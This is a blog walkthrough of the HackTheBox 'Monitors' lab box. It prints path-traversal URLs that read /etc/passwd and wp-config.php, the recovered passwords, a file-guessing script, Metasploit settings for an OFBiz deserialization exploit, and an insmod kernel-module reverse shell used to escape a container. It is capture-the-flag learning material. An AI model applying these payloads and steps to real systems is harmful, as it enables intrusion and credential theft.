Hackthebox — Monitors walkthrough

Moitors is a hard-rated box in hackthebox by @TheCyberGeek. It was a really fun box. The best thing I like about this box is, it makes you feel that you are doing a real life pen-test. However I don’t think this should be rated as a hard box because the exploit methods are right in front of you.

Initial Foothold

Firstly I ran namp on the target IP and looked at the results.

nmap -p- -sC -sV -A — min-rate=400 — min-parallelism=512

namp results

SSH and HTTP are open. I went to see what the web server looks like.But…

forbidden to access HTTP server

I couldn’t access the webpage and It said that only admin@monitors.htb can access it. So I edited my /etc/hosts file and added a entry to monitors.htb

sudo echo " monitors.htb" >> /etc/hosts

adding entry to hosts file

Then I tried accessing the page again and It works.

I looked at the HTTP server and I saw WordPress being used.

WordPress being used

So I ran wpscan to see what I can find.

wpscan — url -e u,t,p

Note that “-e” option stands for enumeration. (u — users, t — themes, p — plugins). I looked for themes and also tried brute-forcing the users. But the interesting one was a plugin I saw in the scan results.

vulnerable plugin

I looked wp-with-spritz plugin for any know vulnerabilities and found this exploit which allowed me to do RFI and LFI.

I followed the article and got the contents of the /etc/passwd with this

URL — http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/passwd


Since this was a WordPress site, I looked at the default config files to see if any credentials were there. And there were…

URL — http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/var/www/wordpress/wp-config.php

DB credentials

username — admin
password — BestAdministrator@2020!

I tried to ssh with these credentials but no luck. So, I though of fuzzing the server with known windows files which could give me some information.

ffuf -u http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..FUZZ -w hasck-tricks-list.txt -fs 0

Fuzzing with ffuf

I looked at all the files I though was suspicions but this was what made me curious.

URL — http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../etc/apache2/sites-enabled/000-default.conf

I looked at the source code and seemed like this was the config file for virtual host routing in the web server. I saw the cacti-admin.monitors.htb entry. So I manually added this to my /etc/hosts file.

adding the entry

visiting cacti-admin.monitors.htb gave me a login page.

cacti login

I tried the credentials I found from the config file and It worked. I saw the version of cacti running was version 1.2.12.

cacti version

So before exploring the site, I tried to see any known exploits. And again I found a RCE exploit form exploitdb for cacti version 1.2.12.

It was a SQL injection in the color.php file. I followed the exploit and got a shell on the box.

cacti exploit
getting a reverse shell


I started exploring the File system and found a backup directory in marcus’s home. Since I didn’t have permission to access that directory, I started brute-forcing it with a simple python script I made.

import os
extensions = [‘py’,’php’,’sh’,’7z’,’gz.tar’,’tar’]
files = [‘backup’,’secret’,’home’,’marcus’]

for ext in extensions:
for file in files:
print(f’trying {file}.{ext}’)
os.system(f’cat /home/marcus/.backup/{file}.{ext}’)

Running this gave me bunch of not founds and one permission denied for the backup.sh. So I went to /home/marcus and tried to view that backup.sh from the home directory.


I was able to veiw the file. I saw a password for cacti_backup user. With this password I tried to SSHed in as marcus. And that worked out fine too.

username — marcus
password — VerticalEdge2020

SSH in as marcus


In marcus’s home I saw a note.txt


Since this said something about a docker image I looked at the processors running on the box.

processors running

I saw a docker container running with docker-proxy. So I searched a bit about dokcer-proxy since I didn’t know what that was really. And this is what I found.

Reading this made me understand that with docker-proxy you can run docker containers over a proxy. With this info I tried to see if there ware any open port which are not accessible from outside.

hidden port

There was. After I saw this I knew that this should be the port where the docker proxy is listening. So I used a little bit of tunneling and made a tunnel with ssh so that I can access this from my machine

ssh -L 8443: marcus@monitors.htb -v -v -N

Note that with the “-L” option we can bind our local port ( to a another host’s port. In this case out target’s port 8443

tunneling wit SSH

now If you go to we can see a Tomcat server

Tomcat server

After I tried brute forcing the page but no luck. So I took a step back and did some enumeration. Since this was a apache tomcat server I looked for any processors running with apache.

And I found this. This was quite odd. So I went back to my friend google and searched for any vulnerabilities. Right off the bat I got a deserialization vulnerability on this.

As mentioned, I used exploit/linux/http/apache_ofbiz_deserialization module. Make sure to set the ForceExploit to true so that the exploit continues even if there is a failure at some point.

use exploit/linux/http/apache_ofbiz_deserialization
set rhosts
set lhost
set lport 7777
set ForceExploit true

So with this, I exploited the deserialization vulnerability and got a shell on the docker container as root.

Moving forward, I looked at the capabilities of the docker container and I saw an interesting thing

command --capsh — print

docker capabilities

The container has SYS_MODULE capability. As a result, the container can insert/remove kernel modules in/from the kernel of the Docker host machine.

So I searched for any exploits for docker sys_module and I saw a blog post from Petenster academy.

I followed the blog very thoroughly and started to exploit the vulnerability.

As mentioned in the article, I made two scripts.A Makefile and a reverse-shell.c.

Makefile and revere-shell.c

I transferred these two files to the container and compiled with make. After compiling , you will see a file called reverse-shell.ko.

Then I started a listener on port 4444 and executed the reverse-shell.ko script from the docker container with this.

insmod reverse-shell.ko

netcat listner

And I got a shell back.


“If you have any questions, make sure to leave them down in the comments, or contact me through social media.”

Email — iamkavigihan@gmail.com
Instagram —

Happy Hacking !!! 😄



Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Kavishka Gihan

Kavishka Gihan

Cyber Security Student — find me on instagram @_kavi.gihan